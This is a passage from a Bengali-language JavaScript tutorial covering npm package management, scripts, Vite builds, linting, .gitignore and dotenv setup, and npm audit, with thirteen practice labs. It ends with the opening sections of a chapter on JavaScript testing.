Machine-wide command-এর জন্য।

🔹 Best practice

Project-specific dependency:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
Local install

সাধারণত preferred।

34.55 npm exec

Package executable run করার আরেকটি modern command:

TERMINAL COMMANDBASH
npm exec -- eslint .

অনেক ক্ষেত্রে npx-এর alternative হিসেবে ব্যবহার করা যায়।

Part 12 — Real-World Scaffolding, Package Managers & CI/CD Deployment (34.56 – 34.65)
34.56 Package Scripts + Arguments

Script:

PACKAGE MANIFEST (JSON)JSON
{
  "scripts": {
    "lint": "eslint ."
  }
}

Run:

TERMINAL COMMANDBASH
npm run lint

Additional arguments pass করতে:

TERMINAL COMMANDBASH
npm run lint -- --fix
34.57 Practical Node Project

Structure:

📦 NPM DEPENDENCY & PROJECT ARCHITECTURE
my-node-app/

── src/
   ── index.js

── .env
── .gitignore
── package.json
── package-lock.json
── README.md

package.json:

PACKAGE MANIFEST (JSON)JSON
{
  "name": "my-node-app",
  "version": "1.0.0",
  "type": "module",
  "scripts": {
    "start": "node src/index.js",
    "dev": "node --watch src/index.js"
  }
}

Run:

TERMINAL COMMANDBASH
npm run dev
34.58 Practical React/Vite Project
📦 NPM DEPENDENCY & PROJECT ARCHITECTURE
my-react-app/

── node_modules/
── public/
── src/
   ── components/
   ── App.jsx
   ── main.jsx

── .gitignore
── index.html
── package.json
── package-lock.json
── vite.config.js

Commands:

TERMINAL COMMANDBASH
npm install

Development:

TERMINAL COMMANDBASH
npm run dev

Production build:

TERMINAL COMMANDBASH
npm run build

Preview:

TERMINAL COMMANDBASH
npm run preview
34.59 npm create vs npx

Modern tooling-এ তুমি এমন command দেখতে পারো:

TERMINAL COMMANDBASH
npm create vite@latest

এটি project scaffolding tool চালায়। অন্যদিকে:

TERMINAL COMMANDBASH
npx some-tool

সাধারণভাবে package executable run করার pattern।

34.60 Package Manager Alternatives

NPM ছাড়াও আছে:

🔹 Yarn
TERMINAL COMMANDBASH
yarn
🔹 pnpm
TERMINAL COMMANDBASH
pnpm install
🔹 Bun
TERMINAL COMMANDBASH
bun install

এগুলো JavaScript ecosystem-এর package/runtime tooling ecosystem-এর অংশ। তবে একটি project-এ package manager consistent রাখা ভালো।

34.61 packageManager Field

কখনও project-এ:

PACKAGE MANIFEST (JSON)JSON
{
  "packageManager": "npm@11.x"
}

এর মতো metadata থাকতে পারে। এটি team-কে কোন package manager/version ব্যবহার করার expectation জানাতে সাহায্য করতে পারে।

34.62 NPM Cache

NPM downloaded package metadata/content-এর cache ব্যবহার করতে পারে। Cache সম্পর্কে:

TERMINAL COMMANDBASH
npm cache verify

এটি cache integrity check করতে সাহায্য করে। সাধারণ সমস্যা হলেই সরাসরি cache delete করা সবসময় প্রথম solution নয়।

34.63 Package Installation Workflow

একজন developer যখন GitHub থেকে project clone করে:

TERMINAL COMMANDBASH
git clone <repo>

তারপর:

TERMINAL COMMANDBASH
cd project

তারপর:

TERMINAL COMMANDBASH
npm install

তারপর:

TERMINAL COMMANDBASH
npm run dev

Flow:

📦 NPM DEPENDENCY & PROJECT ARCHITECTURE
GitHub
  
Clone
  
package.json
  
npm install
  
node_modules
  
npm run dev
  
Application
34.64 Production Deployment Workflow

ধরো Vite application:

📦 MODERN BUILD & BUNDLING PIPELINE
Source Code
    
npm install
    
npm run build
    
dist/
    
Hosting

Node backend:

📦 PACKAGE MANAGEMENT & TOOLING ECOSYSTEM
Source
  
npm ci
  
Environment Variables
  
Start command
  
Server
34.65 Common Mistakes — প্যাকেজ ও টুলিংয়ের সাধারণ ভুলসমূহ
🔹 ❌ node_modules GitHub-এ push করা
CONFIG FILE (GITIGNORE)ENV
node_modules/
🔹 ❌ .env public repository-তে push করা
CONFIG FILE (GITIGNORE)ENV
.env
🔹 ❌ package blindly update করা

Update-এর আগে breaking changes/changelog/documentation দেখা উচিত।

🔹 ❌ npm audit fix --force blindly চালানো

এতে breaking upgrade হতে পারে।

🔹 ❌ সব package global install করা

Project dependency local রাখা সাধারণত ভালো।

🔹 ❌ package-lock delete করে দেওয়া

কারণ reproducible dependency installation-এর সুবিধা নষ্ট হতে পারে।

🔹 ❌ Unknown package blindly install করা

আগে package:

  • downloads
  • repository
  • maintainer
  • documentation
  • recent activity
  • vulnerabilities

দেখা ভালো।

Part 13 — Must Know Tooling Pillars, Quick Cheat Sheet, 13 Practice Labs & Final Mental Map
34.66 🔥 MUST KNOW — জাভাস্ক্রিপ্ট টুলিংয়ের ১০টি প্রধান স্তম্ভ

প্রফেশনাল ডেভেলপার হিসেবে প্রজেক্ট পরিচালনা ও ডিপ্লয়মেন্টে এই ১০টি মূল স্তম্ভ সর্বদা মেনে চলতে হবে:

📌 1. Manifest & Dependencies
  • package.json: প্রজেক্টের মেটাডাটা ও ডিপেনডেন্সি ম্যানিফেস্ট
  • package-lock.json: হুবহু আইডেন্টিক্যাল সাব-ডিপেনডেন্সি ট্রি লক
  • node_modules: লোকাল ইনস্টল ফোল্ডার (কখনো গিটে কমিট করবেন না)
  • dependencies vs dev: রানটাইম লাইব্রেরি বনাম ডেভেলপমেন্ট টুলস
📌 2. Versioning & Automation
  • SemVer (MAJOR.MINOR.PATCH): ব্রেকিং চেঞ্জ ও বাগফিক্স নিয়ম
  • npm ci: সিআই/সিডি সার্ভারে ক্লিন ও অপরিবর্তনীয় ডিপেনডেন্সি ইনস্টলেশন
  • npm scripts: dev, build, lint এবং test টাস্ক অটোমেশন
  • npx Runner: গ্লোবাল ইনস্টল ছাড়া তাৎক্ষণিক প্যাকেজ এক্সিকিউট
📌 3. Build Tooling & Quality
  • Vite / Rollup: ইলেকট্রন-স্পিড নেটিভ ESM ডেভেলপমেন্ট সার্ভার
  • Tree Shaking & Minify: ডেড-কোড বাদ দিয়ে প্রোডাকশন বান্ডেল সংকোচন
  • ESLint & Prettier: কোড স্ট্যান্ডার্ড ও ফরম্যাটিং স্বয়ংক্রিয়করণ
  • .env Security: সিক্রেট ও এপিআই কি গিট ট্র্যাকিং থেকে সুরক্ষিত রাখা
34.67 🧠 Quick Cheat Sheet — কমান্ড ও কনফিগারেশন সারসংক্ষেপ
Command / ConceptSyntax / OptionMain Purpose & Mechanism
npm init -ynpm init -yডিফল্ট কনফিগারেশনে তাৎক্ষণিক package.json তৈরি
npm installnpm i <pkg>রানটাইম ডিপেনডেন্সি ইনস্টল ও package.json-এ যুক্ত
npm install -Dnpm i -D <pkg>শুধু ডেভেলপমেন্টে প্রয়োজনীয় প্যাকেজ ইনস্টল (devDependencies)
npm install -gnpm i -g <pkg>সিস্টেম-ওয়াইড গ্লোবাল সিএলআই টুল ইনস্টল
npm cinpm ciলকফাইল অনুযায়ী কঠোর ও ক্লিন ইনস্টলেশন (CI/CD-তে বাধ্যতামূলক)
npm runnpm run <script>package.json-এ সংজ্ঞায়িত কাস্টম স্ক্রিপ্ট এক্সিকিউট
npxnpx <package>প্যাকেজ লোকালি ইনস্টল না করে রিমোট থেকে সরাসরি রান
npm outdatednpm outdatedপ্রজেক্টের কোন কোন প্যাকেজ পুরনো হয়েছে তা অডিট
npm updatenpm updateSemVer রেঞ্জ মেনে অনুমোদিত মাইনর ও প্যাচ ভার্সন আপডেট
npm uninstallnpm un <pkg>প্যাকেজ ও তার রেফারেন্স সম্পূর্ণ মুছে ফেলা
npm auditnpm auditডিপেনডেন্সি ট্রিতে পরিচিত সিকিউরিটি দুর্বলতা স্ক্যান
npm audit fixnpm audit fixঅটোমেটিক সিকিউরিটি প্যাচ ইনস্টল করে নিরাপত্তা নিশ্চিত
Caret (^)"^1.2.3"MAJOR অপরিবর্তিত রেখে MINOR ও PATCH অটো আপডেট
Tilde (~)"~1.2.3"MAJOR ও MINOR অপরিবর্তিত রেখে শুধু PATCH অটো আপডেট
Exact"1.2.3"কোনো অটো আপডেট হবে না, হুবহু এই ভার্সন থাকবে
Vite Devvite / npm run devনো-বান্ডলিং নেটিভ ESM দিয়ে ইন্সট্যান্ট ডেভ সার্ভার বুট
Vite Buildvite buildRollup ও esbuild দিয়ে অপ্টিমাইজড প্রোডাকশন বান্ডলিং
ESLintnpx eslint .জাভাস্ক্রিপ্ট সিনট্যাক্স ভুল ও অ্যান্টি-প্যাটার্ন শনাক্ত
Prettiernpx prettier --write .কোড ফরম্যাটিং ও স্পেসিং স্বয়ংক্রিয়ভাবে সাজানো
.gitignorenode_modules/, .envসংবেদনশীল ও হেভি ফাইল গিট ট্র্যাকিং থেকে বাদ দেওয়া
Part 13.1 — 13 Hands-On Practice Labs with Complete Production Solutions
Lab #1 [BEGINNER] — Project Initialization with npm init -y

সমস্যা ও লক্ষ্য: একটি নতুন NPM project তৈরি করুন (npm init -y) এবং স্বয়ংক্রিয়ভাবে তৈরি হওয়া package.json-এর স্ট্রাকচার বিশ্লেষণ করুন।

TERMINAL EXECUTION COMMANDSBASH
# টার্মিনালে নতুন ফোল্ডার তৈরি করে প্রজেক্ট ইনিশিয়ালাইজেশন
mkdir my-js-project
cd my-js-project
npm init -y
CONFIGURATION & IMPLEMENTATION (LAB #1)JSON
{
  "name": "my-js-project",
  "version": "1.0.0",
  "description": "Enterprise JavaScript Package",
  "main": "src/index.js",
  "type": "module",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": ["javascript", "tooling", "npm"],
  "author": "FullStack Engineer",
  "license": "MIT"
}
💡 প্রোডাকশন অন্তর্দৃষ্টি: npm init -y কোনো প্রশ্ন ছাড়াই তাৎক্ষণিক একটি স্ট্যান্ডার্ড package.json তৈরি করে। আধুনিক প্রজেক্টে ES Module ইমপোর্ট ব্যবহারের জন্য "type": "module" যোগ করা অত্যন্ত গুরুত্বপূর্ণ।
Lab #2 [BEGINNER] — Runtime Dependency Installation & ESM Usage

সমস্যা ও লক্ষ্য: একটি থার্ড-পার্টি লাইব্রেরি (lodash-es) ইনস্টল করুন এবং মডার্ন জাভাস্ক্রিপ্ট ফাইলে ইমপোর্ট করে অ্যারে অপারেশন পরিচালনা করুন।

TERMINAL EXECUTION COMMANDSBASH
# টার্মিনালে lodash-es ইনস্টল
npm install lodash-es
CONFIGURATION & IMPLEMENTATION (LAB #2)JAVASCRIPT
// src/index.js
import { chunk, shuffle, uniq } from 'lodash-es';

const rawScores = [10, 20, 30, 20, 40, 50, 10, 60, 70, 80];

// ডুপ্লিকেট সরানো
const uniqueScores = uniq(rawScores);
console.log('Unique Scores:', uniqueScores);

// ৩টি করে চাঙ্কে বিভক্ত করা
const scoreChunks = chunk(uniqueScores, 3);
console.log('Score Chunks:', scoreChunks);

// অ্যারে এলোমেলো করা
console.log('Shuffled:', shuffle(uniqueScores));
💡 প্রোডাকশন অন্তর্দৃষ্টি: npm install রানটাইম লাইব্রেরিগুলোকে dependencies ফিল্ডে যুক্ত করে যা ব্রাউজার বা প্রোডাকশন সার্ভারে একচুয়াল কোড রান করতে প্রয়োজন হয়।
Lab #3 [BEGINNER] — DevDependency Installation with -D Flag

সমস্যা ও লক্ষ্য: একটি ডেভেলপমেন্ট-অনলি প্যাকেজ (eslint) ইনস্টল করুন এবং devDependencies-এর তাৎপর্য বুঝুন।

TERMINAL EXECUTION COMMANDSBASH
# ডেভেলপমেন্ট টুল হিসেবে ESLint ইনস্টল
npm install -D eslint
CONFIGURATION & IMPLEMENTATION (LAB #3)JSON
{
  "name": "my-js-project",
  "version": "1.0.0",
  "type": "module",
  "dependencies": {
    "lodash-es": "^4.17.21"
  },
  "devDependencies": {
    "eslint": "^9.0.0"
  }
}
💡 প্রোডাকশন অন্তর্দৃষ্টি: -D বা --save-dev ফ্ল্যাগ নির্দেশ করে যে এই টুলটি কেবল কোড লেখা, লিন্টিং বা টেস্টিংয়ের সময় প্রয়োজন; প্রোডাকশন বিল্ডে বা ক্লায়েন্টের কাছে এটি শিপ করার প্রয়োজন নেই।
Lab #4 [BEGINNER] — Custom NPM Scripts Creation (dev, build, start)

সমস্যা ও লক্ষ্য: package.json-এ আধুনিক স্ক্রিপ্ট পাইপলাইন কনফিগার করুন এবং টার্মিনাল থেকে npm run দিয়ে এক্সিকিউট করুন।

TERMINAL EXECUTION COMMANDSBASH
# স্ক্রিপ্ট রান করার কমান্ড
npm run dev     # ওয়াচ মোডে লাইভ রান
npm run build   # প্রোডাকশন বিল্ড ও অ্যাসেট তৈরি
npm start       # প্রোডাকশন সার্ভার স্টার্ট
CONFIGURATION & IMPLEMENTATION (LAB #4)JSON
{
  "scripts": {
    "dev": "node --watch src/index.js",
    "build": "echo 'Building production bundle...' && mkdir -p dist && cp -r src/* dist/",
    "start": "node dist/index.js",
    "lint": "eslint src/**/*.js"
  }
}
💡 প্রোডাকশন অন্তর্দৃষ্টি: npm scripts টার্মিনালে দীর্ঘ ও জটিল কমান্ড বারবার টাইপ করার ঝামেলা দূর করে এবং দলের সকল ডেভেলপারের জন্য একীভূত ও স্ট্যান্ডার্ডাইজড কমান্ড ইন্টারফেস তৈরি করে।
Lab #5 [BEGINNER] — Critical .gitignore Configuration for Node Projects

সমস্যা ও লক্ষ্য: node_modules এবং .env ফাইল যেন কখনো গিট রিপোজিটরিতে পুশ না হয় তার জন্য প্রোডাকশন গ্রেড .gitignore ফাইল তৈরি করুন।

TERMINAL EXECUTION COMMANDSBASH
# গিট স্ট্যাটাস চেক করে ইগনোর হওয়া নিশ্চিত করা
git status
CONFIGURATION & IMPLEMENTATION (LAB #5)ENV
# Dependencies (কখনো গিটে পুশ করবেন না, হাজার হাজার ফাইল থাকে)
node_modules/
/.pnp
.pnp.js

# Environment Variables & Secrets (সিকিউরিটি রিস্ক)
.env
.env.local
.env.production

# Build Outputs & Cache
dist/
build/
.npm/
.eslintcache

# Operating System Files
.DS_Store
Thumbs.db
npm-debug.log*
yarn-debug.log*
💡 প্রোডাকশন অন্তর্দৃষ্টি: node_modules গিটে পুশ করলে রিপোজিটরি সাইজ শত শত মেগাবাইট হয়ে যায়। আর .env পুশ করলে পাসওয়ার্ড বা এপিআই কি ইন্টারনেটে লিক হয়ে মারাত্মক সিকিউরিটি ব্রিচ ঘটে।
Lab #6 [INTERMEDIATE] — Clean Node.js Application Architecture with Watch Mode

সমস্যা ও লক্ষ্য: একটি স্ট্যান্ডার্ড Node.js প্রজেক্ট ফোল্ডার স্ট্রাকচার তৈরি করুন এবং Node 20+ এর নেটিভ --watch ফ্ল্যাগ দিয়ে হট-রিলোড ডেভ সার্ভার চালান।

TERMINAL EXECUTION COMMANDSBASH
# প্রজেক্ট রান
npm run dev
CONFIGURATION & IMPLEMENTATION (LAB #6)JAVASCRIPT
// src/index.js
import http from 'node:http';

const PORT = process.env.PORT || 3000;

const server = http.createServer((req, res) => {
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({
    status: 'online',
    runtime: 'Node.js LTS',
    timestamp: new Date().toISOString()
  }));
});

server.listen(PORT, () => {
  console.log(`🚀 Server active at http://localhost:${PORT}`);
  console.log('⚡ Watching src/ for instant code changes...');
});
💡 প্রোডাকশন অন্তর্দৃষ্টি: নোডজেএস ভার্সন ১৮.১১+ থেকে নোডমনের (nodemon) কোনো প্রয়োজন নেই; নেটিভ --watch ফ্ল্যাগ দিয়ে কোড এডিট করার সাথে সাথে নোড স্বয়ংক্রিয়ভাবে রিস্টার্ট হয়।
Lab #7 [INTERMEDIATE] — Modern Frontend Scaffolding with Vite

সমস্যা ও লক্ষ্য: npm create vite@latest দিয়ে একটি আধুনিক, হাই-পারফরম্যান্স ভ্যানিলা বা রিঅ্যাক্ট ফ্রন্টএন্ড প্রজেক্ট তৈরি করুন।

TERMINAL EXECUTION COMMANDSBASH
# ১. Vite দিয়ে প্রজেক্ট স্ক্যাফোল্ড করা
npm create vite@latest enterprise-frontend -- --template vanilla

# ২. ডিরেক্টরিতে প্রবেশ করে ডিপেনডেন্সি ইনস্টল
cd enterprise-frontend
npm install

# ৩. লাইভ ডেভ সার্ভার বুট
npm run dev
CONFIGURATION & IMPLEMENTATION (LAB #7)JAVASCRIPT
// vite.config.js (Production Ready Configuration)
import { defineConfig } from 'vite';

export default defineConfig({
  server: {
    port: 5173,
    open: true
  },
  build: {
    outDir: 'dist',
    minify: 'esbuild',
    sourcemap: false
  }
});
💡 প্রোডাকশন অন্তর্দৃষ্টি: Vite ডেভেলপমেন্ট টাইমে কোনো বান্ডলিং করে না; ব্রাউজারের নেটিভ ES Modules ব্যবহার করে মিলিসেকেন্ডে ডেভ সার্ভার লোড করে, যা ওয়েপ্যাকের তুলনায় ৫০ গুণ দ্রুত।
Lab #8 [INTERMEDIATE] — Production Build Pipeline & Asset Inspection

সমস্যা ও লক্ষ্য: একটি প্রোডাকশন বিল্ড তৈরি করুন (npm run build) এবং dist/ ফোল্ডারের মিনিফাইড জাভাস্ক্রিপ্ট ও হ্যাশড অ্যাসেট পরীক্ষা করুন।

TERMINAL EXECUTION COMMANDSBASH
# বিল্ড কমান্ড রান
npm run build

# বিল্ড আউটপুট প্রিভিউ
npm run preview
CONFIGURATION & IMPLEMENTATION (LAB #8)HTML
<!-- dist/index.html (মিনিফাইড প্রোডাকশন আর্কিটেকচার) -->
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <link rel="stylesheet" crossorigin href="/assets/index-D7h2k9La.css">
  <script type="module" crossorigin src="/assets/index-Bq1x90Lm.js"></script>
</head>
<body>
  <div id="app"></div>
</body>
</html>
💡 প্রোডাকশন অন্তর্দৃষ্টি: বিল্ডের সময় Rollup অপ্রয়োজনীয় কোড মুছে ফেলে (Tree Shaking), ভ্যারিয়েবলের নাম ছোট করে (Minification) এবং ক্যাশিংয়ের জন্য ফাইলের নামের সাথে হ্যাশ (যেমন: index-Bq1x90Lm.js) যোগ করে।
Lab #9 [INTERMEDIATE] — Deep Comparative Matrix: npm install vs npm ci vs npm update

সমস্যা ও লক্ষ্য: npm install, npm ci এবং npm update-এর প্রযুক্তিগত পার্থক্য, কাজের মেকানিজম এবং কখন কোনটি ব্যবহার করতে হবে তা তুলনামূলক চার্টে উপস্থাপন করুন।

TERMINAL EXECUTION COMMANDSBASH
# প্রজেক্ট ও সিআই পাইপলাইনে সঠিক কমান্ড নির্বাচন
npm install    # নতুন প্যাকেজ যোগ বা লোকাল ডেভেলপমেন্ট শুরুর সময়
npm ci         # GitHub Actions বা Jenkins সিআই/সিডি বিল্ডে ১০০% নির্ভরযোগ্য
npm update     # প্যাকেজগুলোর অনুমোদিত লেটেস্ট মাইনর/প্যাচ আপগ্রেড করতে
💡 প্রোডাকশন অন্তর্দৃষ্টি: npm install লকফাইল পরিবর্তন করতে পারে, কিন্তু npm ci কখনো লকফাইল স্পর্শ করে না; লকফাইলে কোনো অসঙ্গতি থাকলে npm ci সঙ্গে সঙ্গে এরর দিয়ে বিল্ড থামিয়ে দেয়।
Lab #10 [ADVANCED] — Full-Stack Multi-Package Monorepo Architecture

সমস্যা ও লক্ষ্য: frontend/ (Vite) এবং backend/ (Express) আলাদা package.json ও লকফাইল দিয়ে ম্যানেজ করার একটি স্বয়ংসম্পূর্ণ প্রোডাকশন আর্কিটেকচার।

TERMINAL EXECUTION COMMANDSBASH
# রুট লেভেল থেকে সাব-প্রজেক্ট চালানোর কমান্ড
npm run dev:frontend   # ফ্রন্টএন্ড স্টার্ট
npm run dev:backend    # ব্যাকএন্ড স্টার্ট
CONFIGURATION & IMPLEMENTATION (LAB #10)JSON
{
  "name": "fullstack-platform-root",
  "private": true,
  "scripts": {
    "install:all": "npm --prefix backend install && npm --prefix frontend install",
    "dev:backend": "npm --prefix backend run dev",
    "dev:frontend": "npm --prefix frontend run dev",
    "build:frontend": "npm --prefix frontend run build"
  }
}
💡 প্রোডাকশন অন্তর্দৃষ্টি: মোনোরিপো স্ট্রাকচারে ক্লায়েন্ট ও সার্ভারের কোড একই রিপোজিটরিতে আলাদা মডিউলে থাকে, ফলে একই সাথে সম্পূর্ণ ফুলস্ট্যাক প্রজেক্ট গিটহাবে মেইনটেইন করা সহজ হয়।
Lab #11 [ADVANCED] — Automated Code Quality Pipeline: ESLint + Prettier Synergy

সমস্যা ও লক্ষ্য: প্রজেক্টে ESLint ও Prettier কনফিগার করুন যাতে কোড সেভ করার সাথে সাথে এরর ধরা পড়ে এবং অটো-ফরম্যাটিং সম্পন্ন হয়।

TERMINAL EXECUTION COMMANDSBASH
# লিন্টার ও ফরম্যাটার ডিপেনডেন্সি ইনস্টল
npm install -D eslint prettier eslint-config-prettier
CONFIGURATION & IMPLEMENTATION (LAB #11)JAVASCRIPT
// .eslintrc.json
{
  "env": {
    "browser": true,
    "es2024": true,
    "node": true
  },
  "extends": ["eslint:recommended", "prettier"],
  "parserOptions": {
    "ecmaVersion": "latest",
    "sourceType": "module"
  },
  "rules": {
    "no-unused-vars": "warn",
    "no-console": "off",
    "prefer-const": "error"
  }
}

// .prettierrc
{
  "semi": true,
  "singleQuote": true,
  "tabWidth": 2,
  "trailingComma": "es5"
}
💡 প্রোডাকশন অন্তর্দৃষ্টি: ESLint মূলত কোডের কোয়ালিটি (বাগ, অব্যবহৃত ভ্যারিয়েবল) চেক করে আর Prettier কোডের স্টাইল ও বিউটিফিকেশন (ইন্ডেন্টেশন, কোটেশন) নিয়ন্ত্রণ করে।
Lab #12 [ADVANCED] — Secure Environment Variables Management with dotenv

সমস্যা ও লক্ষ্য: ডেভেলপমেন্ট ও প্রোডাকশনে পোর্ট, ডেটাবেস স্ট্রিং এবং এপিআই কি নিরাপদে হ্যান্ডেল করার প্রোডাকশন আর্কিটেকচার।

TERMINAL EXECUTION COMMANDSBASH
# dotenv লাইব্রেরি ইনস্টল
npm install dotenv
CONFIGURATION & IMPLEMENTATION (LAB #12)JAVASCRIPT
// .env (Secret Credentials - Git Ignored)
PORT=5000
DATABASE_URL="postgresql://admin:superSecretPassword@localhost:5432/production_db"
JWT_SECRET="d83f98a21f7c8e9b4a123456789abcdef"

// .env.example (Public Template - Committed to Git)
PORT=5000
DATABASE_URL="postgresql://user:password@localhost:5432/dbname"
JWT_SECRET="your_jwt_secret_key_here"

// src/config.js (ESM Environment Loader)
import 'dotenv/config';

export const config = {
  port: process.env.PORT || 3000,
  dbUrl: process.env.DATABASE_URL,
  jwtSecret: process.env.JWT_SECRET
};

if (!config.jwtSecret) {
  throw new Error('FATAL: JWT_SECRET environment variable is missing!');
}
💡 প্রোডাকশন অন্তর্দৃষ্টি: .env ফাইল সবসময় গিট ইগনোর থাকবে এবং রিপোজিটরিতে কেবল .env.example কমিট করতে হবে যাতে অন্য ডেভেলপাররা প্রয়োজনীয় ভ্যারিয়েবলের তালিকা দেখতে পায়।
Lab #13 [ADVANCED] — Supply Chain Security Audit & Vulnerability Remediation

সমস্যা ও লক্ষ্য: npm audit চালিয়ে ডিপেনডেন্সির সিকিউরিটি ত্রুটি পরীক্ষা, সিভিই (CVE) স্কোর বিশ্লেষণ এবং নিরাপদে ফিক্স করার বাস্তব কমান্ড।

TERMINAL EXECUTION COMMANDSBASH
# ১. ডিপেনডেন্সি সিকিউরিটি স্ক্যান
npm audit

# ২. সেমিকম্প্যাটিবল অটো-ফিক্স
npm audit fix

# ৩. ব্রেকিং চেঞ্জ রিভিউসহ ফোর্স ফিক্স (সতর্কতার সাথে)
npm audit fix --force

# ৪. প্রোডাকশন অনলি অডিট (devDependencies বাদ দিয়ে)
npm audit --omit=dev
CONFIGURATION & IMPLEMENTATION (LAB #13)ENV
# NPM Security Audit Summary
found 0 vulnerabilities (Dependencies Verified Safe ✅)
# যদি কোনো হাই/ক্রিটিক্যাল রিস্ক পাওয়া যায়:
# 1 High Severity Vulnerability found in 'cross-spawn'
# Fixed by upgrading package to >=7.0.5
💡 প্রোডাকশন অন্তর্দৃষ্টি: সফটওয়্যার সাপ্লাই চেইন অ্যাটাক (যেমন ক্ষতিকর ম্যালওয়্যার লাইব্রেরি ইনজেকশন) থেকে সুরক্ষা নিশ্চিত করতে নিয়মিত npm audit চালানো বাধ্যতামূলক।
34.68 🎯 Final Mental Map — আধুনিক জাভাস্ক্রিপ্ট টুলিংয়ের পূর্ণাঙ্গ মানচিত্র

পুরো Chapter 34-এর টুলিং, প্যাকেজ ও আর্কিটেকচারাল পাইপলাইন একসাথে:

📦 FULL TOOLING & NPM ARCHITECTURE MAP
JAVASCRIPT TOOLING ECOSYSTEM
                                 
         ──────────────────────────────────────────────
                                                       
      PROJECT                 PACKAGE                 MODERN
     MANIFEST               DEPENDENCIES             BUILDING
                                                       
    package.json            node_modules               Vite
    ── name & version      ── Direct Deps            Rollup
    ── scripts (run/dev)   ── Transitive Deps        esbuild
    ── type: "module"                                Tree Shaking
                           package-lock.json          Minification
                           (Deterministic Lock)       Source Maps
                                                       
         ──────────────────────────────────────────────
                                 
                                 
                     DEVELOPER WORKFLOW & PIPELINE
                                 
       ──────────────────────────────────────────────────
                                                         
   CODE QUALITY              SECURITY                 DEPLOYMENT
                                                         
   ESLint (Linter)          npm audit                npm ci (CI/CD)
   Prettier (Formatter)     .env (Secrets)           dist/ Output
   Git Hooks (Husky)        .gitignore (Ignored)     Production Ready
🏆 এক লাইনে Chapter 34: NPM হলো জাভাস্ক্রিপ্ট প্রজেক্টের প্যাকেজ ও ডিপেনডেন্সি ম্যানেজমেন্ট সিস্টেম; আর package.json, lockfile, scripts, Vite এবং কোয়ালিটি টুলস (ESLint/Prettier) মিলে একটি মডার্ন জাভাস্ক্রিপ্ট প্রজেক্টের সম্পূর্ণ লাইফসাইকেল ও প্রোডাকশন পাইপলাইন পরিচালনা করে।
🔗 Curriculum Progression: Chapter 33 → 34 → 35
📦 ROADMAP CONTINUITY PIPELINE
Chapter 33: Web Performance & Optimization
       
অ্যাপ্লিকেশনের লোড টাইম, রেন্ডারিং স্পিড ও কোর ওয়েব ভাইটালস অপ্টিমাইজেশন
       
Chapter 34: NPM & Modern JavaScript Tooling (THIS CHAPTER)
       
প্যাকেজ ম্যানেজমেন্ট, প্রজেক্ট স্ক্যাফোল্ডিং, বান্ডলিং (Vite) ও ওয়ার্কফ্লো অটোমেশন
       
Chapter 35: Testing JavaScript
       
Unit Testing, Integration Testing, Assertions, Vitest/Jest, Mocking & TDD
Chapter 35
↑ Index
Testing JavaScript — টেস্টিং জাভাস্ক্রিপ্ট
Total Modules
72 Modules + 6 Practice Labs
Curriculum Part
Part 29 — Quality Assurance & Testing
Core Mechanics
Unit, Integration, E2E, Mocks & TDD
Reference Standard
Jest / Vitest / Playwright 2026
🧪 Testing JavaScript — নির্ভরযোগ্যতা, বাগ প্রতিরোধ ও আত্মবিশ্বাসী রিফ্যাক্টরিং

প্রফেশনাল সফটওয়্যার ডেভেলপমেন্টে কোড শুধু কাজ করলেই যথেষ্ট নয়—ভবিষ্যতে নতুন ফিচার যুক্ত করার পর পূর্বের কোনো কার্যকারিতা ভেঙে পড়ল কিনা (Regression) তা স্বয়ংক্রিয়ভাবে নিশ্চিত করাই টেস্টিংয়ের লক্ষ্য। এই চ্যাপ্টারে আমরা Unit Testing, Integration Testing, E2E Testing, Testing Pyramid, Jest/Vitest Assertions, Setup & Teardown Hooks, Async Testing, Mocking, Code Coverage, Test-Driven Development (TDD) এবং CI/CD টেস্ট অটোমেশন পাইপলাইন শিখব।

📌 1. Testing Fundamentals
📌 2. Testing Pyramid
📌 3. Jest & Assertions
📌 4. Matchers & Suites
📌 5. Async Testing
📌 6. Mocking & Spies
📌 7. Code Coverage
📌 8. TDD Red-Green-Refactor
📌 9. E2E with Playwright
📌 10. CI/CD Pipeline
Part 01 — Testing Fundamentals, Motivations & Automated Testing (35.1 – 35.5)
35.1 Testing কী?

Testing হলো code-এর expected behavior এবং actual behavior compare করে দেখা। সহজভাবে:

💡 “আমি যে output আশা করছি, আমার program কি সত্যিই সেই output দিচ্ছে?”
🔹 Real-Life Example

ধরো তুমি একটা calculator বানিয়েছ। তুমি আশা করছ:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
2 + 3 = 5

Testing করে আমরা যাচাই করব:

JAVASCRIPT SourceJAVASCRIPT
add(2, 3) === 5;

যদি 5 আসে → Test Pass ✅ অন্য কিছু আসে → Test Fail ❌

35.2 কেন Testing দরকার?

ধরো তোমার একটি বড় e-commerce website আছে। এখানে:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Login
 
Product Search
 
Add to Cart
 
Checkout
 
Payment
 
Order Confirmation

তুমি Login feature পরিবর্তন করলে ভুল করে Cart-এর code নষ্ট হয়ে যেতে পারে। Testing থাকলে automatically ধরা যেতে পারে:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Login Test        ✅
Search Test       ✅
Cart Test         ❌
Payment Test      ✅

তখন developer বুঝতে পারবে কোথায় সমস্যা হয়েছে।

35.3 Testing-এর প্রধান উদ্দেশ্য
উদ্দেশ্যঅর্থ
Bug DetectionBug খুঁজে বের করা
ReliabilityApplication reliable রাখা
Regression Preventionপুরোনো feature নষ্ট হয়েছে কিনা দেখা
Refactoring SafetyCode পরিবর্তন করেও functionality ঠিক রাখা
DocumentationCode কীভাবে behave করার কথা তা বোঝানো
QualityOverall software quality বৃদ্ধি
35.4 Manual Testing vs Automated Testing
🧪 Manual Testing

Developer/User নিজে application ব্যবহার করে পরীক্ষা করে। উদাহরণ:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Open website

Enter email

Enter password

Click Login

Check result
🔹 সুবিধা
  • সহজ
  • UI/UX যাচাই করা যায়
  • Human behavior বোঝা যায়
🔹 অসুবিধা
  • সময় বেশি লাগে
  • বারবার করতে হয়
  • Human error হতে পারে
35.5 Automated Testing

Code নিজেই অন্য code-এর behavior পরীক্ষা করে। উদাহরণ:

JAVASCRIPT SourceJAVASCRIPT
expect(add(2, 3)).toBe(5);

এখানে মানুষকে manually calculator চালাতে হচ্ছে না। Test framework automatically check করবে।

